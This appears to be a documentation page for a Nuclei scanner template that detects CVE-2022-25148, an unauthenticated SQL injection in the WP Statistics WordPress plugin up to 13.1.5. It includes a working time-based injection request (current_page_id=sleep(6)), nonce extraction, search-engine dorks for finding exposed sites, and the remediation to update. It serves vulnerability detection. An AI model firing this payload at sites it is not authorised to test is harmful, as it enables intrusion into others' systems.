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WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection

ID: CVE-2022-25148

Severity: critical

Author: theamanrawat

Tags: time-based-sqli,cve,cve2022,packetstorm,sqli,wpscan,wordpress,wp-plugin,wp,wp-statistics,veronalabs

Description

Section titled “Description”

The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the current_page_id parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.

YAML Source

Section titled “YAML Source”
id: CVE-2022-25148


info:
  name: WordPress Plugin WP Statistics <= 13.1.5 - SQL Injection
  author: theamanrawat
  severity: critical
  description: |
    The WP Statistics WordPress plugin is vulnerable to SQL Injection due to insufficient escaping and parameterization of the current_page_id parameter found in the ~/includes/class-wp-statistics-hits.php file which allows attackers without authentication to inject arbitrary SQL queries to obtain sensitive information, in versions up to and including 13.1.5.
  remediation: Update wp-statistics plugin to version 13.1.6, or newer.
  reference:
    - https://wordpress.org/plugins/wp-statistics/
    - https://gist.github.com/Xib3rR4dAr/5dbd58b7f57a5037fe461fba8e696042
    - https://nvd.nist.gov/vuln/detail/CVE-2022-25148
    - http://packetstormsecurity.com/files/174482/WordPress-WP-Statistics-13.1.5-SQL-Injection.html
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=2679983%40wp-statistics&new=2679983%40wp-statistics&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-25148
    cwe-id: CWE-89
    epss-score: 0.10089
    epss-percentile: 0.94364
    cpe: cpe:2.3:a:veronalabs:wp_statistics:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: veronalabs
    product: wp_statistics
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/wp-statistics/
    fofa-query: body=/wp-content/plugins/wp-statistics/
    publicwww-query: /wp-content/plugins/wp-statistics/
    google-query: inurl:/wp-content/plugins/wp-statistics
  tags: time-based-sqli,cve,cve2022,packetstorm,sqli,wpscan,wordpress,wp-plugin,wp,wp-statistics,veronalabs


http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}
      - |
        @timeout: 15s
        GET /wp-json/wp-statistics/v2/hit?_=11&_wpnonce={{nonce}}&wp_statistics_hit_rest=&browser=&platform=&version=&referred=&ip=11.11.11.11&exclusion_match=no&exclusion_reason&ua=Something&track_all=1&timestamp=11&current_page_type=home&current_page_id=sleep(6)&search_query&page_uri=/&user_id=0 HTTP/1.1
        Host: {{Hostname}}


    host-redirects: true
    matchers:
      - type: dsl
        dsl:
          - duration>=6
          - status_code == 200
          - contains(header, "application/json")
          - contains(body, 'Visitor Hit was recorded successfully')
        condition: and


    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - '_wpnonce=([0-9a-zA-Z]+)'
        internal: true
# digest: 4b0a00483046022100e0d6d4519a9a68bb4b4c44a0113d1d769d424d4bd235cb4673370924765d7595022100d53783cab9470d1cb7a6ceab3f3eaf1e147de5d791dc4b325a1084c79ad44520:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-25148.yaml"

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